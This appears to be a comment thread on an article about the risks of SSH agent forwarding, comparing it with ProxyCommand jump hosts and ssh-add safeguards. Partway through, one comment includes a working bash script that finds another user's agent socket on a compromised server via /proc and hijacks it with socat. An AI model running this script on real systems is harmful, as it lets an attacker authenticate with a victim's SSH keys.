SSH Agent Forwarding considered harmful
heipei.github.io
heipei.github.io
"Agent forwarding should be enabled with caution. Users with the ability to bypass file permissions on the remote host (for the agent's UNIX-domain socket) can access the local agent through the forwarded connection. An attacker cannot obtain key material from the agent, however they can perform operations on the keys that enable them to authenticate using the identities loaded into the agent."
And it's not like this is buried in the manual. It says this in the section describing `-A`.
I'm amazed at how people get far enough down the man-pages to understand what it does, how to enable it, but stop reading before these warnings.
For example, I know that one of them (probably Fabric) defines the sudo prompt (via the -p flag or SUDO_PROMPT environment variable) to be able to pick out a sudo prompt in the text output of the command, so that it knows it needs to respond with the password.
A simpler solution:
1) Use a "real" deployment mechanism, not an authenticated git pull from Github.
2) Write software to be easy to deploy. If you require a ton of external fiddly work to get the code running, that's what necessitates the use of a shared development server.
Another option: mount the corresponding directory of the dev server using sshfs, run git commands locally, run everything else remotely. Although I am not sure if there are any risks of mounting an untrusted directory via sshfs.
I actually used Bitbucket for a while because their repo-level keys are read-only.
> Whatever vulnerabilities are introduced by agent forwarding they pale in comparison to those you get by leaving your private key on the dev server.
Not really. "pale in comparison" is way off. Leaving the key on the server, and using agent forwarding are almost the same: anyone with access to the server has access to the key. There's only a minor difference in how hard it is for the attacker to get the key.
#!/bin/bash
REMOTE_HOST=$1
REMOTE_SSH_AUTH_SOCK=`ssh $REMOTE_HOST 'find /proc -maxdepth 2 -user \$USER -wholename */environ 2>/dev/null | xargs grep -zhm1 SSH_AUTH_SOCK 2>/dev/null' | tr '\0' '\n' | head -n1 | cut -d = -f 2`
if [ -n "$REMOTE_SSH_AUTH_SOCK" ]
then
echo Found remote agent socket $REMOTE_SSH_AUTH_SOCK
HIJACKED_SSH_AUTH_SOCK=/dev/shm/agentjack_$REMOTE_HOST
socat UNIX-LISTEN:$HIJACKED_SSH_AUTH_SOCK,reuseaddr,fork EXEC:"'ssh -q $1 socat STDIO UNIX-CONNECT:$REMOTE_SSH_AUTH_SOCK'" &
SOCAT_PID=$!
export SSH_AUTH_SOCK=$HIJACKED_SSH_AUTH_SOCK
bash
kill $SOCAT_PID
fi
This will connect to a server that you have somehow gained access to, find an agent socket, and reverse-forward the agent to the system you're connecting from. Depends on socat being installed on the server, though, which is somewhat uncommon.I wrote a tool a while ago that automates using ssh jump hosts which may be of interest. https://github.com/ryancdotorg/ssh-chain
ProxyCommand is used for 'jump servers', where you want to simply login to one server behind another. Of course it's handy to be able to authenticate from your desktop to an additional server whenever possible and not leave yourself open to attack from some server in the middle. In fact, it becomes very handy to use an ssh agent in combination with ProxyCommand-style jumps.
Agent forwarding is used when you actually need different servers to interact with each other [and not your desktop] using credentials only you control. Rather than keeping credentials on the disks of intermediate servers, they stay on your desktop.
From an even more practical standpoint, agents allow you to copy files between servers without these stored credentials, too. Just try copying a couple terabytes of data from one server to another with your cable modem as the intermediary; it takes a lot longer than copying from server to server. Hence, agent forwarding to allow you to copy files from host A to B using the creds on your desktop. ProxyCommand doesn't do this.
Agent forwarding is always somewhat potentially harmful, but that potential can be limited a great deal. Of course the private keys (nor passwords) are never sent over the network. ssh-add -c allows you to be prompted before they're used (the author thought it was ssh-agent's option) and the -t option to both ssh-agent and ssh-add also allows you to expire the credentials after a given period of time.
You still have to authenticate on the far remote server somehow, and the root user of the compromised middle machine can still MITM your entire negotiation because you have to trust their sshd and ssh commands.
How do you know they're not just rewriting your ProxyCommand?...
I thought it was more like `ssh hosta 'ssh hostb'`, which would be problematic, but that's not the case. Phew.
So while non-secure protocols through ProxyCommand could still get MITM'd if they own hostA's sshd, proxying ssh itself would be fine, assuming you already had fingerprints. Much less worrisome. :)
The only reason ProxyCommand to tunnel SSH would be safe is because your local SSH uses authentication, and you would get the freaky WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED, IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY! warning. (eg known_hosts)
Netcat and plain HTTP don't have an authentication layer, so if your proxy server is compromised, so is your plain traffic.
EDIT: see this other reply for another source: https://news.ycombinator.com/item?id=9428518
I suppose you could use ProxyCommand for stuff like this, but it interferes with the vagrant ssh syntax, and makes you go through the hassle of updating your SSH config, which doesn't scale very well.
1) You should fear for your key just as much from local applications as you do from a remote machine. Yes, there is a great risk from remote system and agent forwarding, but do not become overly comfortable and presume these best practices do not also extend to your local machine.
2) You should always require ssh-askpass. You want to be prompted locally, otherwise malicious software on your machine could compromise your keyring. Needless to say, encrypt your key (have a passphrase).
3) You want to use 'ssh-add -x' to lock your keyring and prevent removal or addition of keys. Not only could this open you to various direct attacks, but the ssh-agent itself could potentially be a target for attack via buffer-overflow, double-free, etc. One trivial attack made possible by not using 'ssh-add -x' would be to flood the agent with keys forcing logins to fail with too-many-attempt errors.
The data is encrypted between the workstation and the proxy machine A, which we'll assume is compromised. The receiving ssh process running on machine A decrypts the data and gives it to a second ssh process, which re-encrypts it and sends it to the destination machine B. Because it's getting decrypted on machine A, anybody who controls that machine can view or modify the data.
With a proxy command, there is only one ssh process running on the compromised machine and it never sees the decrypted data. All it's doing is forwarding a TCP connection. The second ssh process (the one connected to B) runs on your workstation. The data is encrypted on your workstation and sent to B, via the TCP tunnel running on A. But the data passing through A is encrypted using ephemeral keys that A doesn't have. In this situation, controlling A is no more useful than controlling any of the other internet routers or switches that your data is passing through.
But it's pretty easy to see where the real problem is. I recently spent a few days trying to figure out how I could configure SSH to connect to one machine via a different machine. (This effort was a total failure.) I read the ssh_config man page. Here's the entry for ProxyCommand, which is apparently how you do this:
ProxyCommand
Specifies the command to use to connect to the server. The com-
mand string extends to the end of the line, and is executed using
the user's shell `exec' directive to avoid a lingering shell
process.
In the command string, any occurrence of `%h' will be substituted
by the host name to connect, `%p' by the port, and `%r' by the
remote user name. The command can be basically anything, and
should read from its standard input and write to its standard
output. It should eventually connect an sshd(8) server running
on some machine, or execute sshd -i somewhere. Host key manage-
ment will be done using the HostName of the host being connected
(defaulting to the name typed by the user). Setting the command
to ``none'' disables this option entirely. Note that CheckHostIP
is not available for connects with a proxy command.
This directive is useful in conjunction with nc(1) and its proxy
support. For example, the following directive would connect via
an HTTP proxy at 192.0.2.0:
ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
I think it's fair to say that this is completely incomprehensible. I've read it several times; I still can't say I understand any part of it (all right, I understand the bit about %h, %p, and %r substitutions). It doesn't surprise me at all that nobody uses ProxyCommand -- how are they supposed to know what it does, or how it's used?I might also note that this "correct" solution involves telling ssh to execute the nc command on the middle machine, which is a weird bit of arcana to add to the process and makes it much harder to intuit independently. Ideally, I'd hope for a solution that lets me just supply credentials and information for the middle machine, and let ssh sort out how to get through it.
My .ssh/config for use with a bastion or jump host:
Host *.prod.blah.com
ForwardAgent yes
ProxyCommand ssh -W %h:%p %r@jumphost.ext.blah.com
Host *.ext.blah.com
ForwardAgent yes
It's all do-able within ssh-land. I do forward my agent, but only to hosts in my production sub-domains rather than to anyone I connect to. It could get hijacked, but at least the attack vector is a lot smaller.* Both servers and clients would have an "SSH session-manager daemon" running.
* New terminals would preferably invoke just "ssh" as their shell, which would create a connection to the local SSH session-manager server—the same way people tend to use tmux under desktop Linux.
* The ssh(1) command would be able to talk to the session control channel of whatever session it's being run in, and say things like "hey SSH client, make a new session connected to this remote!" (Again like tmux.)
* The remote side would be running an SSH session-manager daemon too, so when you are in a session connected to hostA and you type "ssh hostB", the remote session manager daemon of hostA would set up a TCP-forwarding channel within itself, provide the new channel's ID over the control-channel back to the connected client, and the connected client would then create a new session connected to the TCP-forwarding channel.
Actually, now that I think about it, this is pretty much exactly like using Erlang's job control with remsh connections.
What I really, really want is for the SSH documentation to make sense even to people who don't already know what it means. If I know what I want to do, and SSH provides a way of doing that exact thing, I don't think it's too much to ask for the documentation to be good enough that I recognize the thing I want when I read about it. As things currently stand, the ProxyCommand documentation is only helpful at all if you already know all about ProxyCommand.
But I don't see why SSH itself has to be constrained by being both a dumb pipe and a client/server shell system. Shells are complicated things, remote shells even moreso, and requiring them to also be able to serve as dumb pipes constrains the way you implement the shell stuff—it pokes a hole in the abstraction.
(If it were all up to me way back when, I'd have just cleaned up the TTY-device abstraction, merged it with PTTYs and serial consoles, made the whole thing socket-routable at the kernel level... and then pushed IPSec to ship with a very SSH-like auto-negotiated pairing protocol. We have the worst of a lot of worlds.)
I've only found this to be true with gnome-keyring's ssh-agent emulation (which isn't complete last time I checked, since it doesn't support -c) and the ssh-agent that OSX's keychain provides. They implicitly show keys added if they have known filenames in ~/.ssh (id_rsa, for example) in the output of `ssh-add -l`. To make matters worse, decrypting the key file puts the passphrase in the key chain, so even if you put as password on your ssh key, it's still accessible after you login and authenticate to the keychain service.
The ssh-agent that is distributed with openssh does not do this and requires keys to be added explicitly.
I would only ever use agent forwarding to a trusted host exactly because of what it does - put a socket on that host that responds with your SSH key... Anyone on that host with root has access to your key.